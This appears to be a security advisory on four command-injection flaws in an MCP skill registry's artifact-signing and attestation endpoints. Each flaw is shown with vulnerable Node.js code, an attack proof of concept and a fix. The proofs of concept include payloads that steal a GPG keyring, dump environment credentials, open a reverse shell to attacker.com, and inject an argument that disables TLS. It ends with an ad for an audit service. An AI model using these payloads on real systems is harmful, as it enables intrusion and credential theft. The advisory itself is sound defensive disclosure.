Claude MCP skill code injection — skill build artifact signing and release attestation pipeline endpoints (SA-SKL-INJECTION64)
SA-SKL-INJECTION64 identifies four code injection vulnerabilities in MCP skill registry skill build artifact signing and release attestation pipeline endpoints. Shell metacharacter injection via an unsanitized signingKeyPath parameter in an exec()-based cosign sign invocation exfiltrates the GPG private keyring from the signing worker's filesystem via signing command output returned in the API response; injection via an unsanitized predicatePath in a sigstore attest invocation establishes a reverse shell from the attestation worker process; injection via an unsanitized passphrase in a gpg --sign invocation exfiltrates all environment variables from the signing worker including SIGNING_KEY_PASSPHRASE and cloud provider credentials; and space-based argument injection via an unsanitized notaryServer in a notary push invocation injects --tlscacert=/dev/null as an additional argument, disabling TLS certificate validation and enabling a man-in-the-middle attack on the trust data upload that compromises the entire supply chain verification chain for all consumers of the signed artifact.
exec(`cosign sign --key ${signingKeyPath} ${imageRef}`) — attacker signingKeyPath with ; cat ~/.gnupg/secring.gpg exfiltrates GPG private keyring via signing output returned in API responseexec(`sigstore attest --predicate ${predicatePath} ${imageRef}`) — attacker predicatePath with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell from attestation workerexec(`gpg --sign --passphrase ${passphrase} ${artifact}`) — attacker passphrase with ; printenv exfiltrates all env vars including SIGNING_KEY_PASSPHRASE and cloud credentialsexec(`notary push --server ${notaryServer} ${imageName}`) — attacker notaryServer with space-injected --tlscacert=/dev/null disables TLS enabling MITM on trust data upload to compromise supply chainINJECTION64-001 — cosign sign signingKeyPath injection exfiltrates GPG private keyring
The artifact signing pipeline invokes cosign sign via Node.js exec() with the signingKeyPath parameter interpolated directly into the command string. Shell metacharacters in the path are not stripped or quoted. An attacker who controls the signingKeyPath value (via API input or a compromised database record that feeds the signing pipeline) can append a semicolon-separated command to exfiltrate the GPG private keyring at ~/.gnupg/secring.gpg via the signing command's stdout, which is captured and returned in the API response as the signing output field.
// INJECTION64-001 — VULNERABLE
router.post('/signing/cosign', requireSession, async (req, res) => {
const { signingKeyPath, imageRef } = req.body;
// VULNERABLE: signingKeyPath interpolated into shell command string
const { stdout } = await exec(
`cosign sign --key ${signingKeyPath} ${imageRef}`
);
res.json({ signed: true, output: stdout });
});
Attack PoC — INJECTION64-001: Attacker injects a command separator and cat invocation into signingKeyPath. The GPG private keyring is returned in the output field of the signing API response.
// INJECTION64-001 — ATTACK PoC
const resp = await fetch('/api/registry/signing/cosign', {
method: 'POST',
headers: { 'Content-Type': 'application/json', Authorization: `Bearer ${token}` },
body: JSON.stringify({
signingKeyPath: '/keys/signing.key; cat ~/.gnupg/secring.gpg',
imageRef: 'registry.example.com/skill:latest',
}),
});
const { output } = await resp.json();
// output contains the binary content of the GPG private keyring
// INJECTION64-001 — FIXED
const { execFile } = require('child_process');
const { promisify } = require('util');
const execFileAsync = promisify(execFile);
router.post('/signing/cosign', requireSession, async (req, res) => {
const { signingKeyPath, imageRef } = req.body;
// FIXED: validate signingKeyPath is within allowed key store directory
const resolvedKeyPath = require('path').resolve(signingKeyPath);
if (!resolvedKeyPath.startsWith(process.env.SIGNING_KEYS_DIR + '/')) {
return res.status(400).json({ error: 'Invalid signing key path' });
}
const ImageRefSchema = z.string().regex(/^[a-z0-9][a-z0-9._\-/:@]+$/);
ImageRefSchema.parse(imageRef);
// FIXED: execFile with arg array — shell metacharacters never interpreted
const { stdout } = await execFileAsync('cosign', ['sign', '--key', resolvedKeyPath, imageRef]);
res.json({ signed: true, output: stdout });
});
INJECTION64-002 — sigstore attest predicatePath injection establishes reverse shell
The release attestation pipeline invokes sigstore attest via exec() with the predicatePath parameter interpolated directly into the command string. The predicate path is intended to point at a local JSON file containing the attestation predicate document. An attacker who controls this value can inject a command separator and a reverse shell invocation (e.g., ; nc attacker.com 4444 -e /bin/sh) that executes in the attestation worker process with the full permissions of the signing service, providing persistent interactive access to the registry's signing infrastructure.
// INJECTION64-002 — VULNERABLE
router.post('/attestation/sigstore', requireSession, async (req, res) => {
const { predicatePath, imageRef } = req.body;
// VULNERABLE: predicatePath interpolated into shell command
const { stdout } = await exec(
`sigstore attest --predicate ${predicatePath} ${imageRef}`
);
res.json({ attested: true, output: stdout });
});
Attack PoC — INJECTION64-002: Attacker injects a reverse shell command into predicatePath. The attestation worker establishes a persistent reverse shell connection to the attacker's listener.
// INJECTION64-002 — ATTACK PoC
await fetch('/api/registry/attestation/sigstore', {
method: 'POST',
headers: { 'Content-Type': 'application/json', Authorization: `Bearer ${token}` },
body: JSON.stringify({
predicatePath: '/tmp/pred.json; nc attacker.com 4444 -e /bin/sh',
imageRef: 'registry.example.com/skill:latest',
}),
});
// Reverse shell on attacker.com:4444 established with attestation worker privileges
// INJECTION64-002 — FIXED
router.post('/attestation/sigstore', requireSession, async (req, res) => {
const { predicatePath, imageRef } = req.body;
// FIXED: resolve predicate path to PREDICATES_DIR only
const resolvedPredicate = require('path').resolve(predicatePath);
if (!resolvedPredicate.startsWith(process.env.PREDICATES_DIR + '/')) {
return res.status(400).json({ error: 'Invalid predicate path' });
}
ImageRefSchema.parse(imageRef);
// FIXED: execFile with arg array
const { stdout } = await execFileAsync(
'sigstore', ['attest', '--predicate', resolvedPredicate, imageRef]
);
res.json({ attested: true, output: stdout });
});
INJECTION64-003 — gpg --sign passphrase injection exfiltrates all environment variables
The GPG signing handler invokes gpg --sign --passphrase ${passphrase} ${artifact} via exec(). The passphrase is treated as a trusted value from the request body. An attacker who injects ; printenv into the passphrase field causes the shell to execute both the gpg command and the printenv command, returning all environment variables from the signing worker process via the command output. The environment typically contains SIGNING_KEY_PASSPHRASE (the actual GPG key passphrase, now doubly exfiltrated), AWS credential environment variables (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN), and any other secrets that the signing service loads from its deployment environment.
// INJECTION64-003 — VULNERABLE
router.post('/signing/gpg', requireSession, async (req, res) => {
const { passphrase, artifact } = req.body;
// VULNERABLE: passphrase interpolated into shell command
const { stdout } = await exec(
`gpg --sign --passphrase ${passphrase} ${artifact}`
);
res.json({ signed: true, output: stdout });
});
Attack PoC — INJECTION64-003: Attacker injects printenv into the passphrase field. The signing worker's full environment including cloud credentials and the GPG key passphrase is returned in the output field.
// INJECTION64-003 — ATTACK PoC
const resp = await fetch('/api/registry/signing/gpg', {
method: 'POST',
headers: { 'Content-Type': 'application/json', Authorization: `Bearer ${token}` },
body: JSON.stringify({
passphrase: 'correct-horse; printenv',
artifact: '/workspace/skill-artifact.tgz',
}),
});
const { output } = await resp.json();
// output contains all env vars including SIGNING_KEY_PASSPHRASE and AWS_SECRET_ACCESS_KEY
// INJECTION64-003 — FIXED
router.post('/signing/gpg', requireSession, async (req, res) => {
const { passphrase, artifact } = req.body;
// FIXED: validate artifact path; never pass passphrase via command line
const resolvedArtifact = require('path').resolve(artifact);
if (!resolvedArtifact.startsWith(process.env.WORKSPACE_ROOT + '/')) {
return res.status(400).json({ error: 'Invalid artifact path' });
}
// FIXED: pass passphrase via stdin, not command line; execFile with arg array
const child = require('child_process').execFile(
'gpg',
['--sign', '--passphrase-fd', '0', '--batch', resolvedArtifact],
{ env: { PATH: process.env.PATH } } // stripped env
);
child.stdin.write(passphrase + '\n');
child.stdin.end();
let stdout = '';
child.stdout.on('data', d => { stdout += d; });
await new Promise((resolve, reject) => {
child.on('close', code => code === 0 ? resolve() : reject(new Error(`gpg exit ${code}`)));
});
res.json({ signed: true });
});
INJECTION64-004 — notary push notaryServer space injection disables TLS on trust data upload
The Notary trust data push handler invokes notary push --server ${notaryServer} ${imageName} via exec(). Unlike the previous three findings where the attack vector is a semicolon separator for command chaining, this finding exploits space-based argument injection. When the attacker supplies a notaryServer value containing a space followed by a Notary flag (e.g., notary.example.com --tlscacert=/dev/null), the shell splits the value into two tokens: the server hostname and an additional --tlscacert=/dev/null flag. This disables TLS certificate validation for the Notary push operation, enabling a man-in-the-middle attacker to intercept the trust data upload and substitute attacker-controlled trust data, compromising the supply chain integrity verification for all consumers of the signed artifact.
// INJECTION64-004 — VULNERABLE
router.post('/attestation/notary', requireSession, async (req, res) => {
const { notaryServer, imageName } = req.body;
// VULNERABLE: space in notaryServer injects additional flags
const { stdout } = await exec(
`notary push --server ${notaryServer} ${imageName}`
);
res.json({ pushed: true, output: stdout });
});
Attack PoC — INJECTION64-004: Attacker injects --tlscacert=/dev/null via a space in the notaryServer value. TLS validation is disabled for the Notary push, enabling MITM interception of trust data upload and supply chain compromise.
// INJECTION64-004 — ATTACK PoC (space-based argument injection)
await fetch('/api/registry/attestation/notary', {
method: 'POST',
headers: { 'Content-Type': 'application/json', Authorization: `Bearer ${token}` },
body: JSON.stringify({
notaryServer: 'notary.example.com --tlscacert=/dev/null',
imageName: 'registry.example.com/skill:latest',
}),
});
// Notary executes: notary push --server notary.example.com --tlscacert=/dev/null ...
// TLS disabled; MITM can substitute attacker-controlled trust data
// INJECTION64-004 — FIXED
router.post('/attestation/notary', requireSession, async (req, res) => {
const { notaryServer, imageName } = req.body;
// FIXED: validate notaryServer is an allowlisted hostname — no spaces, no flags
const NotaryServerSchema = z.string().regex(/^[a-z0-9][a-z0-9.\-]+(:\d+)?$/);
const NotaryImageSchema = z.string().regex(/^[a-z0-9][a-z0-9._\-/:@]+$/);
NotaryServerSchema.parse(notaryServer);
NotaryImageSchema.parse(imageName);
if (!ALLOWED_NOTARY_SERVERS.has(notaryServer)) {
return res.status(400).json({ error: 'Notary server not in allowlist' });
}
// FIXED: execFile with arg array — space in notaryServer stays as single argument
const { stdout } = await execFileAsync(
'notary', ['push', '--server', notaryServer, imageName]
);
res.json({ pushed: true });
});
SkillAudit tip: Run a free audit on your MCP skill at skillaudit.dev to detect exec() with interpolated parameters in signing and attestation pipelines, including semicolon-separator and space-injection attack patterns, in under 60 seconds. The audit flags every exec() call site with unsanitized user-controlled parameters and suggests the execFile() replacement with arg array.